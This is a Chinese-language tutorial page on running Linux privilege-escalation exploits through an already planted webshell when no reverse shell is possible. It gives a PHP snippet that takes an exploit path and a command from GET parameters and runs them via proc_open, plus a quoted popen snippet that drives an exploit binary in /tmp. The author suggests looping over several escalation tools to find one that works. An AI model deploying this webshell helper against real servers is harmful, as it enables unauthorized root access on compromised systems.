Linux下非交互式提權(quán)詳解
前言
之前拿到某站的Webshell之后,在提權(quán)的時候發(fā)現(xiàn)網(wǎng)站不能反彈shell。而且,在滲透的時候經(jīng)常遇到那種不能反彈shell的,你的提權(quán)工具拿上去之后因為沒有交互式的環(huán)境,也不知道提權(quán)是否成功。因此,寫了一個簡單的工具。需要的朋友們可以參考學(xué)習(xí)。
方法如下
proce_open()
// path是提權(quán)工具的絕對路徑,例如:/usr/local/htdocs/2.6.18 // cmd是你需要執(zhí)行的命令,例如:whoami if(isset($_GET['path']) && isset($_GET['cmd'])){ $path = $_GET['path']; $cmd = $_GET['cmd']; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($path, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); echo stream_get_contents($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); } }
代碼很簡單,不懂的可以看看PHP手冊,popen()
在這里也可以實現(xiàn)相同的效果
另外,有了這個代碼之后,我們以后提權(quán)是不是就可以直接把提權(quán)工具扔到服務(wù)器上面,然后PHP代碼改一改,循環(huán)測試哪些提權(quán)工具是可用的了。
popen()
這是土司之前一個人發(fā)的,代碼原封不動的放在了下面。稍微改一改就能達(dá)到上面一樣的效果
$sucommand = "/tmp/2.6.18-2011"; $fp = popen($sucommand ,"w"); fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111"); pclose($fp);
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。
相關(guān)文章
Linux下使用ip netns命令進(jìn)行網(wǎng)口的隔離和配置ip地址
這篇文章主要介紹了Linux下使用ip netns命令進(jìn)行網(wǎng)口的隔離和配置ip地址,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下2019-09-09詳解Linux文件中的數(shù)據(jù)是如何被寫進(jìn)磁盤
Linux 中,我們的每一個進(jìn)程,打開的每一個文件都要有自己的 struct inode 對象和自己的文件頁緩沖區(qū)(就是所謂的內(nèi)核緩沖區(qū)),本文我們給大家介紹了Linux文件中的數(shù)據(jù)是如何被寫進(jìn)磁盤,需要的朋友可以參考下2024-05-05在 RHEL8 /CentOS8 上建立多節(jié)點 Elastic stack 集群的方法
Elastic stack 俗稱 ELK stack,是一組包括 Elasticsearch、Logstash 和 Kibana 在內(nèi)的開源產(chǎn)品。Elastic Stack 由 Elastic 公司開發(fā)和維護(hù)。這篇文章主要介紹了如何在 RHEL8 /CentOS8 上建立多節(jié)點 Elastic stack 集群,需要的朋友可以參考下2019-09-09Linux使用fdisk實現(xiàn)磁盤分區(qū)過程圖解
這篇文章主要介紹了Linux使用fdisk實現(xiàn)磁盤分區(qū)過程圖解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-08-08